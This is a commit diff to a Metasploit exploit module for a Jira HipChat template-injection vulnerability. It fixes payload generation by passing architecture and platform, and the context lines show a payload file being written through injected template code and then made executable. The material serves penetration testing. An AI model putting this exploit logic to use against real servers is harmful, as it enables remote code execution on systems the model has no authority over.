Specify arch & platform for generate_payload_exe

If not specified, generic payloads will fail.

modules/exploits/unix/webapp/jira_hipchat_template.rb

@@ -404,7 +404,8 @@ class Metasploit3 < Msf::Exploit::Remote
     register_files_for_cleanup(fname, new_fname)
 
     print_status("Attempting to write #{fname}")
-    c = get_write_file_code(fname, generate_payload_exe)
+    p = generate_payload_exe(code: payload.encoded, arch: self.arch, platform: self.platform)
+    c = get_write_file_code(fname, p)
     inject_template(c, cookie)
 
     print_status("chmod +x #{fname}")